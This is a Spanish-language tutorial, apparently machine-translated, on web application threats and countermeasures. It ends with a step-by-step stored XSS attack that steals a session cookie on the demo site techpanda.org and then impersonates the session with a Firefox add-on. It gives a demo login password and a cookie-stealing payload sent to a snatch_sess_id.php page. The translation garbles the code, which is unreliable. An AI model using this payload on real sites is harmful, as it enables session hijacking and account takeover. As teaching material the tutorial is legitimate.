Cómo Hackear un sitio web: Ejemplo de Hackeo de sitios web en línea
Más personas tienen acceso a Internet que nunca. Esto ha llevado a muchas organizaciones a desarrollar aplicaciones basadas en la web que los usuarios pueden usar en línea para interactuar con la organización. El código mal escrito para aplicaciones web se puede explotar para obtener acceso no autorizado a datos confidenciales y servidores web.
En este tutorial aprenderás a hackear sitios web, y te presentaremos las técnicas de hackeo de aplicaciones web y las contramedidas que puedes implementar para protegerte contra tales ataques.
Temas tratados en este tutorial
- ¿Qué es una aplicación web? ¿Qué son las amenazas Web?
- ¿Cómo proteger su sitio web contra los hacks?
- Trucos de hackeo de sitios web: Hackear un sitio web en línea!
¿Qué es una aplicación web? ¿Qué son las amenazas Web?
Una aplicación web (también conocida como sitio web) es una aplicación basada en el modelo cliente-servidor. El servidor proporciona el acceso a la base de datos y la lógica de negocio. Está alojado en un servidor web. La aplicación cliente se ejecuta en el navegador web del cliente. Las aplicaciones web suelen estar escritas en lenguajes como Java, C# y VB.Net, PHP, Lenguaje de marcado ColdFusion, etc. los motores de base de datos utilizados en aplicaciones web incluyen MySQL, MS SQL Server, PostgreSQL, SQLite, etc.
la Mayoría de las aplicaciones web están alojados en los servidores públicos accesibles a través de Internet. Esto los hace vulnerables a los ataques debido a su fácil accesibilidad. Las siguientes son amenazas comunes de aplicaciones web.
- Inyección SQL: el objetivo de esta amenaza podría ser eludir los algoritmos de inicio de sesión, sabotear los datos, etc.Ataques de denegación de servicio: el objetivo de esta amenaza podría ser denegar a los usuarios legítimos el acceso al recurso
- Cross Site Scripting XSS: el objetivo de esta amenaza podría ser inyectar código que se pueda ejecutar en el navegador del lado del cliente.
- Envenenamiento de cookies / sesión: el objetivo de esta amenaza es modificar los datos de cookies / sesión de un atacante para obtener acceso no autorizado.
- Alteración de formularios: el objetivo de esta amenaza es modificar los datos de formularios, como los precios de las aplicaciones de comercio electrónico, para que el atacante pueda obtener artículos a precios reducidos.
- Inyección de código: el objetivo de esta amenaza es inyectar código como PHP, Python, etc. que se puede ejecutar en el servidor. El código puede instalar puertas traseras, revelar información confidencial, etc.
- Desfiguración: el objetivo de esta amenaza es modificar la página que se ha mostrado en un sitio web y redirigir todas las solicitudes de página a una sola página que contenga el mensaje del atacante.
¿Cómo proteger su sitio web contra los hacks?
Una organización puede adoptar la siguiente directiva para protegerse contra ataques a servidores web.
- Inyección SQL: desinfectar y validar los parámetros del usuario antes de enviarlos a la base de datos para su procesamiento puede ayudar a reducir las posibilidades de ataques mediante inyección SQL. Motores de bases de datos como MS SQL Server, MySQL, etc. parámetros de soporte y declaraciones preparadas. Son mucho más seguros que las sentencias SQL tradicionales
- Ataques de denegación de servicio: los firewalls se pueden usar para eliminar tráfico de direcciones IP sospechosas si el ataque es un simple DoS. La configuración adecuada de las redes y el Sistema de Detección de Intrusos también puede ayudar a reducir las posibilidades de que un ataque DoS tenga éxito.
- Cross Site Scripting: validar y desinfectar encabezados, parámetros pasados a través de la URL, parámetros de formulario y valores ocultos puede ayudar a reducir los ataques XSS.
- Envenenamiento de cookies / sesión: esto se puede evitar cifrando el contenido de las cookies, sincronizando las cookies después de un tiempo, asociando las cookies con la dirección IP del cliente que se usó para crearlas.
- Templado de formularios: esto se puede evitar validando y verificando la entrada del usuario antes de procesarla.
- Inyección de código: esto se puede evitar tratando todos los parámetros como datos en lugar de como código ejecutable. La desinfección y validación se pueden utilizar para implementar esto.
- Desfiguración: una buena política de seguridad de desarrollo de aplicaciones web debe garantizar que sella las vulnerabilidades de uso común para acceder al servidor web. Esta puede ser una configuración adecuada del sistema operativo, el software del servidor web y las mejores prácticas de seguridad al desarrollar aplicaciones web.
Trucos de hackeo de sitios web: Hackear un sitio web en línea
En este escenario práctico de hackeo de sitios web, vamos a secuestrar la sesión de usuario de la aplicación web ubicada en www.techpanda.org. Usaremos scripts de sitios cruzados para leer el id de sesión de cookies y luego lo usaremos para hacerse pasar por una sesión de usuario legítima.
La suposición es que el atacante tiene acceso a la aplicación web y le gustaría secuestrar las sesiones de otros usuarios que usan la misma aplicación. El objetivo de este ataque podría ser obtener acceso de administrador a la aplicación web suponiendo que la cuenta de acceso del atacante sea limitada.
Primeros pasos
- Open http://www.techpanda.org/
- Para fines prácticos, se recomienda encarecidamente obtener acceso mediante inyección SQL. Consulte este artículo para obtener más información sobre cómo hacerlo.
- El correo electrónico de inicio de sesión es Esta dirección de correo electrónico está siendo protegida contra los robots de spam. Necesita tener JavaScript habilitado para poder verlo. la contraseña es Password2010
- Si ha iniciado sesión con éxito, a continuación, aparecerá el siguiente cuadro de mandos
- haga Clic en Agregar Nuevo Contacto
- Introduzca el siguiente como el primer nombre
<a href=# onclick=\»documento.location = \ ‘http://techpanda.org/snatch_sess_id.php?c=\’+escape \(documento.de cookies\)\;\»>Oscuro</a de>
AQUÍ
El código anterior utiliza JavaScript. Añade un hipervínculo con un evento onclick. Cuando el usuario desprevenido hace clic en el enlace, el evento recupera el ID de sesión de cookie PHP y lo envía al snatch_sess_id.página php junto con el id de sesión en la URL
- Ingrese los detalles restantes como se muestra a continuación
- Haga clic en Guardar cambios
- Su panel de control ahora se verá como la siguiente pantalla
- Dado que el código de script de sitios cruzados se almacena en la base de datos, se cargará cada vez que los usuarios con derechos de acceso inician sesión
- Supongamos que el administrador inicia sesión y hace clic en el hipervínculo que dice Oscuro
- Obtendrá la ventana con el id de sesión que se muestra en la URL
Nota: el script podría enviar el valor a servidor remoto donde se almacena el PHPSESSID y luego el usuario se redirige de nuevo al sitio web como si no hubiera pasado nada.
Nota: el valor que obtienes puede ser diferente al de este tutorial de hackeo de páginas web, pero el concepto es el mismo
Suplantación de sesión con Firefox y complemento de Datos de manipulación
El diagrama de flujo a continuación muestra los pasos que debes seguir para completar este ejercicio.
- Usted necesitará navegador web Firefox para esta sección y de manipulación de Datos add-on
- Abrir Firefox e instalar el complemento, como se muestra en los diagramas de abajo
- Búsqueda para manipulación de datos, a continuación, haga clic en instalar como se muestra arriba
- haga Clic en en Aceptar e Instalar…
- haga Clic en Reiniciar ahora cuando se complete la instalación
- Activar la barra de menú de Firefox si no se muestra
- haga Clic en el menú herramientas, a continuación, seleccione de manipulación de Datos como se muestra a continuación
- Obtendrá la siguiente ventana. Nota: Si la ventana no está vacía, presione el botón borrar
- Haga clic en el menú Iniciar manipulación
- Vuelva al navegador web Firefox, escriba http://www.techpanda.org/tablero de instrumentos.php luego presione la tecla enter para cargar la página
- Obtendrá la siguiente ventana emergente de Datos de manipulación
- La ventana emergente tiene tres (3) opciones. La opción de manipulación permite modificar la información del encabezado HTTP antes de enviarla al servidor.
- Haga clic en él
- Obtendrá la siguiente ventana
- Copie el ID de sesión PHP que copió de la URL de ataque y péguelo después del signo igual. Su valor ahora debería tener este aspecto
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- haga Clic en el botón ACEPTAR
- Usted recibirá las Manipulaciones de datos de la ventana emergente de nuevo
- Desactive la casilla de verificación que pide Continuar la Manipulación?
- Haga clic en el botón enviar cuando termine
- Debería poder ver el panel de control como se muestra a continuación
Nota: no iniciamos sesión, nos hicimos pasar por una sesión de inicio de sesión utilizando el valor PHPSESSID que recuperamos utilizando scripts de sitios cruzados
Resumen
- Una aplicación web se basa en el modelo servidor-cliente. El lado del cliente utiliza el navegador web para acceder a los recursos del servidor.
- Las aplicaciones web suelen ser accesibles a través de Internet. Esto los hace vulnerables a los ataques.
- Las amenazas de aplicaciones web incluyen Inyección SQL, Inyección de Código, XSS, Desfiguración,Envenenamiento de cookies, etc.
- Una buena política de seguridad al desarrollar aplicaciones web puede ayudar a que sean seguras.
Leave a Reply